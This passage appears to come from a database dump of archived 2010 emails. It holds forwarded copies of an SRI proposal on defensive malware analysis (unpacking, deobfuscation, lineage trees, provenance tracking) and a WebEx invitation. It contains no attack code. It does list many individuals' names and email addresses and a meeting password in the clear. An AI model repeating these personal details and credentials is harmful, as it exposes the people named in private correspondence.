<Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001830.M493170P3547Q3616.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Hassen Saidi\" <hassen.saidi@sri.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,cody.bunkin@pikewerks.com,\"Phil Porras\" <porras@csl.sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Hassen Saidi\" <hassen.saidi@sri.com>','FW: Details from SRI - tech area #1','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R. \r\nSent: Friday, March 05, 2010 1:59 PM\r\nTo: Starr, Christopher H.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; \'Hassen Saidi\'; Vela, Ryan; porras@csl.sri.com\r\nSubject: RE: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 11:17 AM\r\nTo: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; Hassen Saidi\r\nSubject: FW: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:40 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from SRI (see below and attached SOW\r\nlanguage):\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture capabilities\r\nfor client-side malware, email-borne malware, and malware embedded in P2P\r\nnetworks. The goal of this research is to improve the diversity of the malware\r\nbinary collection sources.\r\n\r\n&nbsp;\r\n\r\nYear 1 (months 0- 6) prototype malware collection system\r\n\r\nYear 1 (months 6-12) refine development, delivery of system and\r\ncollected malware\r\n\r\nYear 2-EOP (Months 3, 6, 9, 12 ) Deliver collected malware\r\n\r\nYear 2 &#8211;EOP (Months 3, 6, 9, 12) Maintenance and report of\r\nmaintenance in period.\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nYear 1 research methods for unpacking/deobfusction, delivery of\r\nresearch paper at end of period.\r\n\r\nYear 1, concept prototype \r\n\r\nYear 2 &#8211; 3, refine de-obfuscation research and develop a\r\nprototype to cover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable\r\nreconstruction from disk based malware or malware memory extractions.&nbsp; The\r\ngoal of the research is to return code extracted from memory or code that has\r\nbeen obfuscated into an un-obscured executable file.&nbsp; This work includes\r\nbut is not limited to, extracting executables from process or full memory\r\ndumps, de-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding malicious\r\ndll code to stand alone executables, and removing obfuscation and anti-analysis\r\ntechniques such as chunking and suicide logic. The longer term objective of\r\nthis work is to enable the statically-informed binary execution or path\r\nexploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, paper and concept prototype as deliverable\r\n\r\nYear 2, refinement of research, paper and prototype deliverable\r\n\r\nYear 3 &#8211; EOP Path exploration , year 3 paper and concept\r\nprototype, year 4 paper and prototype\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\nYear 1 research viability, paper as deliverable\r\n\r\nYear 2, IDA or other tool plug-in prototype\r\n\r\nYear 3, stand alone prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and probabilistic\r\nalgorithms and algorithms from computational biology to create lineage trees to\r\nidentify the provenance of digital artifacts and improve understanding of\r\nsoftware evolution. The goal of this research is to enable the informed and\r\nautomated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\nYear 1, study existing\r\nalgorithms for viability in this information space, deliver paper\r\n\r\nYear 2, deliver prototype POC\r\n\r\n\r\nYear 3, refinement and\r\nprototype.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational biology\r\ngene sequence alignment algorithms involving the use of error-correcting codes,\r\ninfinite sites evolution, and Markov models of mutation to automatically\r\ndeobfuscate code independent of what obfuscation techniques were applied to the\r\ncode.\r\n\r\n&nbsp;\r\n\r\nYear 1, evaluate viability of algorithms used in computational\r\nbiology for use in this information space, deliver paper\r\n\r\nYear 2, develop concept prototype system\r\n\r\nYear 3, develop prototype system\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, providence prototype on Linux system, deliver concept\r\nprototype\r\n\r\nYear 2, providence analysis migration to MS systems, deliver\r\nconcept prototype\r\n\r\nYear 3, integrate providence analysis and UCB taint analysis,\r\ndeliver concept prototype\r\n\r\nYear 4, Integrate multipath exploration research into providence\r\nand taint research, deliver concept prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings,\r\nreporting, demonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction\r\nclasses,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been\r\ncomputed.&nbsp; We formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of alignment\r\nis to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is especially\r\nsuited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when\r\nseveral criteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete unpacked\r\ncode. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka\r\nframework to enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new\r\nunpacking technology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing\r\nand bigram analysis,\r\n\r\nspeculative api resolution, snapshot stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware\r\ndeobfuscation. \r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware\r\ntransformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We\r\nwill then automatically\r\n\r\nrewrite the binary\'s header to set the OEP and\r\nrebuild import tables.\r\n\r\nWe will also develop automated techniques for\r\ninformed reconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on\r\nfunctionalities.&nbsp; We will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be\r\nconstructed, organizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences\r\nabout high-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis\r\nhas revealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may yield\r\nfalse\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary\r\nReconstruction, \r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data provenance\r\ntraces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14230,'aaron_hbgary_com/14230.html'),(3617,'2010-03-05','\"Bob Slapnik\" <messenger@webex.com>','/aaron@hbgary.com/new/1297001830.M953897P3547Q3617.eml','aaron@hbgary.com','Meeting invitation: Proposal review redux','Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: Proposal review redux  Date: Friday, March 5, 2010  Time: 5:30 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 571 660 727  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142460942&UID=1127289962&PW=NNjBjZTM0Yzc2&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142460942&UID=1127289962&PW=NNjBjZTM0Yzc2&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=142460942&tollFree=0   Access code:571 660 727   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142460942&UID=1127289962&ICS=MI&LD=1&RD=2&ST=1&SHA2=kC4mT290ZDFYJyuz0304dFn-XrOZ5G-cCl1pz0fImHU=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',2664,'aaron_hbgary_com/2664.html'),(3618,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001831.M265409P3547Q3618.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Details from SRI','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 1:13 PM\r\nTo: \'Aaron Barr\'\r\nSubject: FW: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:40 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from SRI (see below and attached SOW\r\nlanguage):\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture\r\ncapabilities for client-side malware, email-borne malware, and malware embedded\r\nin P2P networks. The goal of this research is to improve the diversity of the\r\nmalware binary collection sources.\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable\r\nreconstruction from disk based malware or malware memory extractions.&nbsp; The\r\ngoal of the research is to return code extracted from memory or code that has\r\nbeen obfuscated into an un-obscured executable file.&nbsp; This work includes\r\nbut is not limited to, extracting executables from process or full memory\r\ndumps, de-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding\r\nmalicious dll code to stand alone executables, and removing obfuscation and\r\nanti-analysis techniques such as chunking and suicide logic. The longer term\r\nobjective of this work is to enable the statically-informed binary execution or\r\npath exploration.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and\r\nprobabilistic algorithms and algorithms from computational biology to create\r\nlineage trees to identify the provenance of digital artifacts and improve\r\nunderstanding of software evolution. The goal of this research is to enable the\r\ninformed and automated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational\r\nbiology gene sequence alignment algorithms involving the use of error-correcting\r\ncodes, infinite sites evolution, and Markov models of mutation to automatically\r\ndeobfuscate code independent of what obfuscation techniques were applied to the\r\ncode.\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath exploration.\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings,\r\nreporting, demonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction\r\nclasses,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been\r\ncomputed.&nbsp; We formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of\r\nalignment is to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is\r\nespecially suited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal 